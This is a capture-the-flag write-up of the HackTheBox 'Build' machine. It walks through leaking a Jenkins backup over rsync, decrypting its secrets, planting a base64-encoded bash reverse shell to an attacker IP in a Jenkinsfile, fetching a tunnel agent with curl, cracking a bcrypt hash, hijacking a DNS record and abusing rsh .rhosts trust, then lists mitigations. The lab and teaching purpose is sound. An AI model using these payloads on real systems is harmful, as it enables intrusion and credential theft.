HackTheBox: Build Writeup

Executive Summary
The "Build" machine demonstrates a complex attack chain involving multiple services in a containerized environment. The exploitation requires:
Reconnaissance of internal Docker network via nmap
Database enumeration and credential cracking
Git service compromise with credential reuse
Jenkins backup extraction and decryption
RCE via Jenkinsfile modification
DNS poisoning through PowerDNS-Admin
Legacy rlogin/rsh exploitation with DNS hijacking
Phase 1: Initial Reconnaissance
1.1 External Nmap Service Enumeration
nmap -sV -Pn -T4 10.129.234.169 -oA nmap
Discovered Services on 10.129.234.169:
| Port | Service | Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 | Standard SSH |
| 53 | DNS | PowerDNS | DNS server |
| 512-514 | RSH services | Netkit rsh/rexecd/rshd | Legacy services |
| 873 | Rsync | (protocol v31) | Unauthenticated file access |
| 3000 | HTTP | Golang (Gitea) | Git service |
| 3306 | MySQL | MariaDB 11.3.2 | Filtered (seen later) |
| 8081 | HTTP | PowerDNS-Admin | Web UI |
Key Finding: Rsync service is open and unauthenticated!
1.2 Service Briefing: Understanding the Targets
What is Rsync?
Rsync (Remote Synchronization) is a utility for efficiently transferring and synchronizing files between systems.
Key Characteristics:
Uses SSH or rsync protocol (port 873) for file transfer
Designed for efficient incremental backups
Can operate unauthenticated if configured improperly
Commonly used for server backups and file synchronization
When unauthenticated, it exposes all files in shared directories
Why It's Dangerous Here:
No authentication required
Backup directory contains full Jenkins configuration
Jenkins backups include encryption keys and credentials
Attacker can download entire backup without login
Real-World Impact:
Access to sensitive configuration files
Encryption keys exposed (enabling credential decryption)
Source code and deployment scripts accessible
Complete infrastructure blueprint
What is Jenkins?
Jenkins is an open-source automation server widely used for continuous integration and continuous deployment (CI/CD).
Key Characteristics:
Orchestrates automated build, test, and deployment pipelines
Uses Groovy-based Jenkinsfile for pipeline definitions
Integrates with Git repositories via webhooks
Executes arbitrary shell commands on agents
Stores credentials in encrypted format (master.key encryption)
Why It's Dangerous Here:
Webhooks automatically trigger on code changes
Jenkinsfile can execute arbitrary system commands
Root access to containers allows host manipulation
Credentials reused across environments
Backup contains decryption keys
Real-World Impact:
Code injection through Jenkinsfile modification
Remote Code Execution on build agents
Access to production deployment credentials
Container escape and privilege escalation
What is rsh (Remote Shell)?
rsh (Remote Shell) is a legacy protocol for executing commands on remote systems, predating SSH by decades.
Key Characteristics:
Operates on port 513 (TCP)
Uses .rhosts file for authentication (NO passwords required)
Sends credentials in plaintext over the network
Based on trust relationships between hosts
Replaced by SSH in modern systems (but often still enabled)
Authentication Model (.rhosts):
hostname → Trust all users from this host
hostname username → Trust this specific user from this host
hostname + → Trust ANY user from this host (DANGEROUS!)
+ → Trust any user from any host (CRITICAL!)
Why It's Dangerous Here:
No cryptographic authentication
Susceptible to DNS spoofing/hijacking
If you control the DNS records, you control access
Real-World Impact:
Remote code execution as root
No password required for authentication
Network-based privilege escalation
Cascading compromise from DNS poisoning
Phase 2: Jenkins Backup Exploitation via Rsync
2.1 Rsync Service Enumeration
rsync rsync://10.129.234.169/
# Output:
# backups backups
rsync -av rsync://10.129.234.169/backups/
# drwxr-xr-x 4,096 2024/05/02 09:26:31 .
# -rw-r--r-- 376,289,280 2024/05/02 09:26:19 jenkins.tar.gz
Critical: Jenkins backup is publicly accessible via rsync!
2.2 Jenkins Backup Download and Extraction
rsync -av rsync://10.129.234.169/backups/jenkins.tar.gz .
file jenkins.tar.gz
# Output: POSIX tar archive (GNU)
tar -xvf jenkins.tar.gz -C jenkins_backup/
Downloaded: 376MB unencrypted Jenkins configuration backup
2.3 Encrypted Credentials Location
Searching backup for encrypted secrets:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" jenkins_backup/
# Found: jenkins_configuration/jobs/build/config.xml
# <password>{AQAAABAAAAAQUNBJaKiUQNaRbPI0/VMwB1cmhU/EHt0chpFEMRLZ9v0=}</password>
Key Files Located:
/jenkins_configuration/secrets/master.key- Master encryption key/jenkins_configuration/secrets/hudson.util.Secret- Secret material/jenkins_configuration/jobs/build/config.xml- Job with encrypted password
2.4 Jenkins Secrets Decryption
Reference: HackTricks - Jenkins Security
Using the Jenkins offline decryption technique documented on HackTricks:
Using jenkins_offline_decrypt.py script from pwn_jenkins GitHub Repository:
# Setup Python environment for decryption
python3 -m venv jenkins-venv
source jenkins-venv/bin/activate
pip install pycryptodome
# Decrypt Jenkins secrets
python3 jenkins_offline_decrypt.py \
jenkins_backup/jenkins_configuration/secrets/master.key \
jenkins_backup/jenkins_configuration/secrets/hudson.util.Secret \
jenkins_backup/jenkins_configuration/jobs/build/config.xml
Result: Decrypted password: [REDACTED]
Important: This password is likely for the buildadm user in Gitea!
Phase 3: Gitea Service Compromise
3.1 Gitea Access with Decrypted Credentials
Navigate to http://build.vl:3000
Login Details:
Username:
buildadmPassword:
[REDACTED](from Jenkins decryption)
Login successful! Access to buildadm account granted.
3.2 Repository and Webhook Analysis
Accessible repository: buildadm/dev
Repository Details:
Contains:
Jenkinsfile(CI/CD pipeline configuration)Last updated: 2 years ago
Critical: Repository is editable by buildadm user!
Webhook Configuration Found:
Target URL:
http://172.18.0.3:8080/gitea-webhook/postTrigger: Push Events
Payload: application/json
Attack Vector: Modifying Jenkinsfile will trigger Jenkins webhook and execute our payload!
Phase 4: Remote Code Execution via Jenkinsfile Modification
4.1 Malicious Jenkinsfile Payload
Edit the Jenkinsfile in buildadm/dev repository
Original Code:
pipeline {
agent any
stages {
stage('Do nothing') {
steps {
sh '/bin/true'
}
}
}
}
Reverse Shell Payload (Base64 encoded):
pipeline {
agent any
stages {
stage('pwn') {
steps {
sh 'bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNS4yMjMvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"'
}
}
}
}
Base64 decoded payload: bash -i >& /dev/tcp/10.10.15.223/4444 0>&1
4.2 Webhook Trigger and Shell Execution
Commit changes to Jenkinsfile in Gitea
Gitea sends webhook to Jenkins at 172.18.0.3:8080
Jenkins builds the
buildadm/devpipelineExecutes the malicious shell command
Reverse shell connects to attacker listener
# On attacker machine
nc -lvnp 4444
# Listening on 0.0.0.0 4444
# Reverse shell spawned
root@5ac6c7d6fb8e:/var/jenkins_home/workspace/build_dev_main#
Shell Access Gained: Root user inside Jenkins Docker container (172.18.0.3)
whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
hostname
# 5ac6c7d6fb8e (Docker container ID)
4.3 User Flag Retrieved
cd ~
cat user.txt
# [REDACTED]
Phase 5: Internal Network Discovery & Enumeration
5.1 Docker Network Analysis
From within Jenkins container, analyze network configuration:
cat /etc/hosts
# 172.18.0.3 5ac6c7d6fb8e
mount | grep overlay
# Shows Docker overlay filesystem mounting
ip addr show
# eth0: inet 172.18.0.3/16
Insight: We're inside Docker container on 172.18.0.3. Other services are on the 172.18.0.0/24 network.
5.2 Container Network Analysis
From within Jenkins container, analyze network configuration:
cat /etc/hosts
# 172.18.0.3 5ac6c7d6fb8e
mount | grep overlay
# Shows Docker overlay filesystem mounting
ip addr show
# eth0: inet 172.18.0.3/16
Insight: We're inside Docker container on 172.18.0.3. Other services are on the 172.18.0.0/24 network.
5.3 Network Tunneling Setup (Ligolo-ng)
To access internal services from attacker machine, setup tunneling:
# On attacker machine
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# INFO[0000] Listening on 0.0.0.0:11601
# In another terminal
sudo ip route add 172.18.0.0/24 dev ligolo
# Inside container - download and run ligolo agent
curl http://10.10.15.223/ligolo-agent -o agent
chmod +x agent
./agent -connect 10.10.15.223:11601 -ignore-cert
# INFO[0000] Connection established
Result: Attacker machine can now reach 172.18.0.0/24 network!
5.4 Internal Network Nmap Scan
Now that network tunneling is established, perform detailed enumeration of internal network:
# Comprehensive internal network scan
nmap -sV -Pn -T4 172.18.0.1 172.18.0.2 172.18.0.4 172.18.0.6
Network Topology Discovered:
| Host | IP | Port | Service | Version | Notes |
|---|---|---|---|---|---|
| Main Infra | 172.18.0.1 | 22 | SSH | OpenSSH 8.9p1 | TARGET for rsh |
| 53 | DNS | PowerDNS | Domain controller | ||
| 512-514 | RSH | Netkit rshd | Exploitation vector | ||
| 873 | Rsync | v31 | Source of backup | ||
| 3000 | HTTP | Gitea | Git with webhook | ||
| 3306 | MySQL | MariaDB 11.3.2 | UNAUTH ACCESS | ||
| 8081 | HTTP | PowerDNS-Admin | Admin panel | ||
| Secondary Gitea | 172.18.0.2 | 22 | SSH | OpenSSH 9.3 | Backup instance |
| 3000 | HTTP | Gitea | Same service | ||
| Jenkins Worker | 172.18.0.3 | (current) | - | - | Our shell location |
| MariaDB | 172.18.0.4 | 3306 | MySQL | MariaDB 11.3.2 | Database server |
| PowerDNS Worker | 172.18.0.5 | (filtered) | - | - | DNS worker node |
| PowerDNS Admin | 172.18.0.6 | 80 | HTTP | Gunicorn | DNS management |
Critical Discoveries from Internal Scan:
172.18.0.1 - Main server with all vulnerable services
Unprotected MySQL (credentials in database)
rsh service enabled with weak .rhosts
PowerDNS integration
172.18.0.6 - PowerDNS-Admin web interface
Manages all DNS records for build.vl domain
Accessible via HTTP (no HTTPS required)
Vulnerable to credential compromise
Network Layout - Everything is internal, no isolation
Container (172.18.0.3) can reach all services
Services trust each other (no internal firewall)
DNS controls domain trust relationships
Phase 6: MySQL Enumeration and Credential Extraction
6.1 Unauthenticated MySQL Access
# From attacker machine through ligolo tunnel
mysql -h 172.18.0.1 -u root --skip_ssl
# Welcome to the MariaDB monitor
Critical Finding: MySQL accepts root login without password!
6.2 PowerDNS Database Enumeration
show databases;
# +--------------------+
# | Database |
# +--------------------+
# | information_schema |
# | mysql |
# | performance_schema |
# | powerdnsadmin |
# | sys |
# +--------------------+
use powerdnsadmin;
show tables;
select * from user;
# +----+----------+--------------------------------------------------------------+
# | id | username | password |
# +----+----------+--------------------------------------------------------------+
# | 1 | admin | \(2b\)12$s1hK0o7YNkJGfu5poWx.0u1WLqKQIgJOXWjjXz7Ze3Uw5Sc2.hsEq |
# +----+----------+--------------------------------------------------------------+
select * from records;
DNS Records Reveal:
db.build.vl→ 172.18.0.4gitea.build.vl→ 172.18.0.2intern.build.vl→ 172.18.0.1 (TARGET for spoofing!)jenkins.build.vl→ 172.18.0.3pdns.build.vl→ 172.18.0.6pdns-worker.build.vl→ 172.18.0.5
6.3 Hash Cracking
# Extract hash
echo '\(2b\)12$s1hK0o7YNkJGfu5poWx.0u1WLqKQIgJOXWjjXz7Ze3Uw5Sc2.hsEq' > admin.hash
# Crack with john
john --wordlist=/usr/share/wordlists/rockyou.txt admin.hash
# winston (?)
Cracked Credential:
Username:
adminPassword:
[REDACTED]
Phase 7: DNS Poisoning via PowerDNS-Admin
7.1 PowerDNS-Admin Login
Navigate to http://172.18.0.6 (accessible through ligolo tunnel)
Login Details:
Username:
adminPassword:
[REDACTED](from hash cracking)
Login successful!
7.2 DNS Record Manipulation
Objective: Point intern.build.vl to attacker machine (10.10.15.223)
Steps:
Click on build.vl zone
Select Zone Records
Find
internA record (currently pointing to 172.18.0.1)Edit and change value to:
10.10.15.223Save changes
Verification:
dig intern.build.vl @10.129.234.169
# ;; ANSWER SECTION:
# intern.build.vl. 60 IN A 10.10.15.223
DNS poisoning successful! intern.build.vl now resolves to attacker IP.
Phase 8: Legacy rsh/rlogin Exploitation
8.1 .rhosts File Discovery
Within the Jenkins container, discovered an important file:
cat /root/.rhosts
# admin.build.vl +
# intern.build.vl +
Significance of .rhosts:
admin.build.vl +→ Any user from admin.build.vl can login as any userintern.build.vl +→ Any user from intern.build.vl can login as any userThe
+wildcard means ANY user from that host
8.2 rsh/rlogin Protocol Exploitation
Reference: QNX rsh Protocol Documentation
The rsh (remote shell) protocol uses .rhosts for authentication. According to the documentation:
Understanding .rhosts Trust Model:
hostname- All users from this host are trustedhostname username- Specific user from host can loginhostname +- Any user from this host can login as any user (DANGEROUS!)+- Any user from any host can login (CRITICAL!)
Combined with DNS poisoning:
Attack Flow:
DNS now resolves
intern.build.vl→10.10.15.223(attacker)Main server (10.129.234.169) trusts
intern.build.vlfor rsh connectionsWhen rsh receives connection from 10.10.15.223, it thinks it's from
intern.build.vl.rhosts allows any user from
intern.build.vlto loginConnection is accepted without password!
8.3 rsh Connection to Main Server
From attacker machine:
rsh -v root@build.vl
# Trying 10.129.234.169 port 513...
# Connected.
# Welcome to Ubuntu 22.04.5 LTS
Success! Remote shell spawned with root privileges!
whoami
# root
id
# uid=0(root) gid=0(root) groups=0(root)
hostname
# build
ls -la
# total 56
# drwx------ 8 root root 4096 Jul 24 2025 .
# -rw-r--r-- 1 root root 3592 Jul 23 2025 int
# -r-------- 1 root root 35 May 1 2024 .rhosts
# drwxr-xr-x 6 root root 4096 Jul 22 2025 scripts
8.4 Root Flag Retrieved
cat root.txt
# [REDACTED]
Complete Attack Chain Summary
1. Nmap reconnaissance (10.129.234.169)
└─ Discovers: Rsync, SSH, DNS, MySQL, Gitea, etc.
2. Rsync enumeration
└─ Finds: jenkins.tar.gz backup (376MB)
3. Jenkins backup analysis
└─ Extracts: master.key, hudson.util.Secret, encrypted credentials
4. Jenkins offline decryption
└─ Decrypts: buildadm password
5. Gitea login with buildadm credentials
└─ Accesses: buildadm/dev repository
6. Jenkinsfile modification
└─ Adds: Base64-encoded reverse shell payload
7. Webhook trigger and RCE
└─ Executes: Reverse shell to attacker (Jenkins container)
8. User flag captured
└─ Inside: Docker container 172.18.0.3
9. Internal network enumeration
└─ Discovers: 172.18.0.0/24 network topology
10. Network tunneling setup (Ligolo-ng)
└─ Enables: Access to 172.18.0.0/24 from attacker
11. MySQL enumeration (172.18.0.4)
└─ Finds: PowerDNS admin credentials (hash)
12. Hash cracking (John the Ripper)
└─ Cracks: bcrypt hash → plaintext password
13. PowerDNS-Admin login
└─ Accesses: Zone management interface
14. DNS record poisoning
└─ Changes: intern.build.vl → 10.10.15.223
15. rsh exploitation with .rhosts trust
└─ Connects: root@build.vl without password
16. Root flag captured
└─ On: Main infrastructure server 10.129.234.169
Attack Timeline & Progression
| Step | Action | Source | Target | Result |
|---|---|---|---|---|
| 1 | Nmap scan | Attacker | 10.129.234.169 | Discovered services |
| 2 | Rsync access | Attacker | 10.129.234.169:873 | Jenkins backup |
| 3 | Jenkins decrypt | Attacker | Local filesystem | buildadm credentials |
| 4 | Gitea login | Attacker | 10.129.234.169:3000 | Repo access |
| 5 | Jenkinsfile edit | Attacker | Gitea | Webhook trigger |
| 6 | RCE trigger | Jenkins | 10.129.234.169:8080 | Reverse shell |
| 7 | User flag | Attacker | 172.18.0.3 | user.txt |
| 8 | Network enum | 172.18.0.3 | Internal network | Docker topology |
| 9 | Ligolo tunnel | Attacker | 10.129.234.169:11601 | Network access |
| 10 | MySQL query | Attacker | 172.18.0.4:3306 | Hash extraction |
| 11 | Hash cracking | Attacker | Local | Plaintext password |
| 12 | PowerDNS login | Attacker | 172.18.0.6 | Zone management |
| 13 | DNS poison | Attacker | 172.18.0.6 | intern.build.vl → attacker IP |
| 14 | rsh connection | Attacker | 10.129.234.169:513 | Root shell |
| 15 | Root flag | Attacker | 10.129.234.169 | root.txt |
Critical Vulnerabilities & Root Causes
| # | Vulnerability | Root Cause | Impact | CVSS |
|---|---|---|---|---|
| 1 | Exposed Rsync Service | No authentication configured | Backup access | 9.8 |
| 2 | Unencrypted Jenkins Backup | No encryption at rest | Credential exposure | 9.9 |
| 3 | Jenkins Secret Decryption | Master key in backup | Password recovery | 9.8 |
| 4 | Credential Reuse | Same password across services | Account compromise | 8.5 |
| 5 | Unauthenticated MySQL | No root password set | Database access | 9.1 |
| 6 | Weak .rhosts Configuration | + + wildcard too permissive |
Unauthorized access | 9.0 |
| 7 | rsh Service Enabled | Legacy service not disabled | Privilege escalation | 8.1 |
| 8 | DNS Admin Compromise | No 2FA/OTP enforcement | DNS hijacking | 8.5 |
| 9 | Editable Git Repository | No branch protection | Code injection | 8.8 |
| 10 | Webhook to Jenkins | Automatic pipeline execution | RCE | 9.9 |
Key Security Findings
Architectural Issues
No network segmentation - Docker containers can access host services
No API authentication - Services exposed without credentials
Credential reuse across services - Single password for multiple systems
Legacy protocols enabled - rsh/rlogin should not exist in modern infrastructure
Configuration Failures
Jenkins backup not encrypted - Sensitive data in plaintext
MySQL root without password - Most critical database exposed
.rhosts too permissive - Wildcard entries allow any user
Gitea webhook unauthenticated - No verification of webhook source
Secrets Management
Master key in backup - Encryption key should be separate
No secret rotation - Credentials unchanged for 2 years
Credentials in code - Jenkinsfile contains hardcoded references
No HashiCorp Vault - Manual credential management
Mitigation Recommendations
Immediate Actions (Critical)
Disable rsh/rlogin services - Remove ports 512-514 entirely
systemctl stop rsh-server systemctl disable rsh-serverEncrypt MySQL - Set root password and require authentication
ALTER USER 'root'@'localhost' IDENTIFIED BY 'strong_password'; FLUSH PRIVILEGES;Restrict Rsync - Implement authentication and IP whitelisting
# /etc/rsyncd.conf [backups] path = /var/backups auth users = backup_user secrets file = /etc/rsync.secrets hosts allow = 10.10.15.0/24Encrypt Jenkins backups - Implement AES-256 encryption
tar czf - jenkins_home | openssl enc -aes-256-cbc -out backup.tar.gz.encFix .rhosts configuration - Remove wildcard entries
# Before: admin.build.vl + # After: admin.build.vl admin_user
Short-term Improvements (1-2 weeks)
Implement 2FA/OTP - Enable on all admin panels
Network segmentation - Isolate Docker containers with firewall rules
Webhook verification - Add secret tokens to Gitea webhooks
Repository protection - Require pull requests before merge
Audit logging - Enable on MySQL, Jenkins, PowerDNS
Long-term Strategy (1-3 months)
HashiCorp Vault integration - Centralized secret management
Rotate all credentials - 30-day rotation policy
Remove legacy services - Eliminate rsh/rlogin entirely
Infrastructure as Code - Automate secure configuration
Secrets scanning - Pre-commit hooks to detect credentials in code
Penetration testing - Regular security assessments
Container hardening - Non-root users, read-only filesystems
Zero-trust architecture - Assume breach, verify everything
Technical Lessons Learned
1. Legacy Protocols are Dangerous
rsh/rlogin use plaintext authentication
.rhosts trust model is fundamentally broken
No encryption, no modern security features
Action: Remove completely, use SSH with key-based auth
2. Backups are High-Value Targets
Backups contain full system state
Encryption keys often in same location
Unencrypted = full system compromise
Action: Encrypt with key management system
3. Credential Reuse is Critical Path
One compromised service = all services compromised
Jenkins backup contained password for Gitea
Action: Use unique credentials per service
4. Network Segmentation Matters
Docker containers shouldn't access host services directly
Internal services exposed to container
Action: Implement network policies, firewall rules
5. Authentication Failures
No passwords, no 2FA
Services assume trust they shouldn't have
Action: Require auth on everything, implement 2FA
Tools & Techniques Used
Enumeration & Reconnaissance:
nmap- Network scanning and service detectionrsync- File service enumerationmysql-client- Database accessdig- DNS queriesligolo-ng- Network tunneling
Exploitation:
john- Hash cracking (bcrypt)git- Repository cloning and modificationBash scripting - Payload creation and encoding
Custom Python scripts - Jenkins decryption
Post-Exploitation:
rsh/rlogin- Legacy protocol exploitationStandard Unix utilities - System enumeration
References & Further Reading
Key Resources Used in Exploitation
-
Used for: Jenkins offline decryption techniques
Provided: Regex patterns for finding encrypted credentials
Provided: Link to pwn_jenkins script for decryption
-
Used for: Offline Jenkins secret decryption
Provided: jenkins_offline_decrypt.py script
Enabled: Recovery of buildadm credentials without Jenkins access
QNX rsh Protocol Documentation
Used for: Understanding .rhosts file format and behavior
Explained: Trust model and wildcard usage
Clarified: How rsh authenticates users based on .rhosts rules
Additional References
PowerDNS Official Documentation - For DNS record manipulation
Ligolo-ng Network Tunneling - For internal network access
OWASP - Secrets Management - Best practices
Docker Security Best Practices - Container hardening
